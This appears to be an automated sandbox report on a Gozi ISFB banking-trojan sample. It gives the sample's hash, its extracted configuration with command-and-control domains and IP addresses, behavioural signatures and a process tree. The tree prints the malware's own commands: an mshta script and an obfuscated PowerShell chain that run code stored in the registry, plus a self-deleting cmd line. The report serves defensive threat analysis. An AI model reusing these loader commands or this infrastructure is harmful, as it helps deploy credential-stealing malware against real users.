Analysis
- max time kernel
150s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
13/10/2022, 06:49
General
- Target 0x000e0000000122f1-58.exe
- Size 37KB
- Sample221013-hltr3abacl
- SHA256 bf5845a6b0df356338cc4ae53dd2cdefcb114bd95f351e55fd430cee5408ffeb
Malware Config
Extracted
-
gozi_ifsb
-
10103
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250246
-
exe_type
loader
-
extension
.pct
-
server_id
50
Extracted
-
gozi_ifsb
-
10103
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250246
-
exe_type
worker
-
extension
.pct
-
server_id
50
Signatures
- Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\0x000e0000000122f1-58.exe"C:\Users\Admin\AppData\Local\Temp\0x000e0000000122f1-58.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xkh9='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xkh9).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\16F27831-7D02-B8E1-B7AA-016CDB7EC560\\\ReturnStop'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name omgqkjte -value gp; new-alias -name divpkini -value iex; divpkini ([System.Text.Encoding]::ASCII.GetString((omgqkjte "HKCU:Software\AppDataLow\Software\Microsoft\16F27831-7D02-B8E1-B7AA-016CDB7EC560").FileDesktop))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\afqf4rwt\afqf4rwt.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4AFE.tmp" "c:\Users\Admin\AppData\Local\Temp\afqf4rwt\CSCDBE78E90ED3D4039BFB370A4A34F84B3.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x1itjgr5\x1itjgr5.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C94.tmp" "c:\Users\Admin\AppData\Local\Temp\x1itjgr5\CSC7951A4BA6C3346E182C545807D79E549.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\0x000e0000000122f1-58.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
RES4AFE.tmp
RES4C94.tmp
afqf4rwt.dll
x1itjgr5.dll
CSCDBE78E90ED3D4039BFB370A4A34F84B3.TMP
afqf4rwt.0.cs
afqf4rwt.cmdline
CSC7951A4BA6C3346E182C545807D79E549.TMP
x1itjgr5.0.cs
x1itjgr5.cmdline
memory/328-163-0x000001BEB1DC0000-0x000001BEB1E63000-memory.dmp
memory/740-166-0x0000000008AF0000-0x0000000008B93000-memory.dmp
memory/740-157-0x0000000008AF0000-0x0000000008B93000-memory.dmp
memory/1932-165-0x0000000001670000-0x0000000001706000-memory.dmp
memory/1932-164-0x0000000000486B20-0x0000000000486B24-memory.dmp
memory/2780-161-0x0000022301620000-0x00000223016C3000-memory.dmp
memory/3644-156-0x000001C9860A0000-0x000001C986143000-memory.dmp
memory/3872-160-0x00000226776D0000-0x0000022677773000-memory.dmp
memory/4480-132-0x0000000000520000-0x000000000052D000-memory.dmp
memory/4708-154-0x000001FC75B30000-0x000001FC75B6D000-memory.dmp
memory/4708-153-0x00007FFFCE010000-0x00007FFFCEAD1000-memory.dmp
memory/4708-137-0x000001FC73300000-0x000001FC73322000-memory.dmp
memory/4708-138-0x00007FFFCE010000-0x00007FFFCEAD1000-memory.dmp
memory/4796-162-0x000001A28E370000-0x000001A28E413000-memory.dmp